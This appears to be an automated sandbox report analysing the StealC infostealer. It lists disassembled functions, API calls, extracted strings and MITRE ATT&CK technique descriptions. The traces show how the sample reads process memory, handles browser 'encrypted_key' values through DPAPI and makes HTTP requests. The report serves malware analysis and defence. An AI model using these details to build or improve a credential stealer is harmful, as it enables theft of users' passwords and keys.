Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

strtok.MSVCRT(00000000,?), ref: 0041539E

Strings

ERROR, xrefs: 0041546F
ERROR, xrefs: 004153B9
ERROR, xrefs: 0041530A
ERROR, xrefs: 00415432
ERROR, xrefs: 004154A9

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetOpenRequest$ConnectSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1208788097-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A138,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction ID: fa90de3286715eaa6817e9c79d9293911763414a7997c4368e9d4f64dee3ff46
Opcode Fuzzy Hash: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction Fuzzy Hash: A5314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction ID: 84b4572ca590114782b091576b9a89d8360325c6110713fe167f1eb626e4287d
Opcode Fuzzy Hash: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction Fuzzy Hash: 5801C431A817299BC722EB669C857DE77A0BF04794F01811BE81467390C72C69D2CBDD

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction ID: 4c6ecd523783b942696bdc62fd612c852c6eee159b5b032e672b771ca3e86784
Opcode Fuzzy Hash: 97b8e5648014eb75fe7e4c2f5c52bbac28816c25018f37e92348e0e4551f1163
Instruction Fuzzy Hash: B0F09632A813119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 00418100 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: %d MB$@
API String ID: 3732870572-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 00409CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 1784268899-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 0041D6AF Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041D716
GetStringTypeW.KERNEL32(?,?,00000000,?,?,00000000), ref: 0041D739
__freea.LIBCMT ref: 0041D743

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: StringType__freeamemset
String ID:
API String ID: 3702041549-0
Opcode ID: 4d7b318312fff4d58e2f3aa52261d6423c37ded0f3a6e4e0a6da700eeb52f17a
Instruction ID: efb7c7a0e54daaba30d556c928359019750aa0aa7bd980d239ef51af7167d665
Opcode Fuzzy Hash: 4d7b318312fff4d58e2f3aa52261d6423c37ded0f3a6e4e0a6da700eeb52f17a
Instruction Fuzzy Hash: E511D3B1A0020AAEDF119FA4DCC19FF3B69EB05354F240027F915D62D1D738DDA48A68

Function 004072D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
task.LIBCPMTD ref: 00407555

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memsettaskvsprintf_s
String ID: Password
API String ID: 2675463923-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MmcJhaiYNh.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MmcJhaiYNh.exe_bdefa9aad4b825c5631b87954d3abbfcc0f02270_a8e7628e_feeafe02-ff32-4b1c-a93d-c4818edfd04c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF549.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF625.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF654.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
MmcJhaiYNh.exe

Function 00852021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Function 00868E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Function 0086A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00866368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Function 00869FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON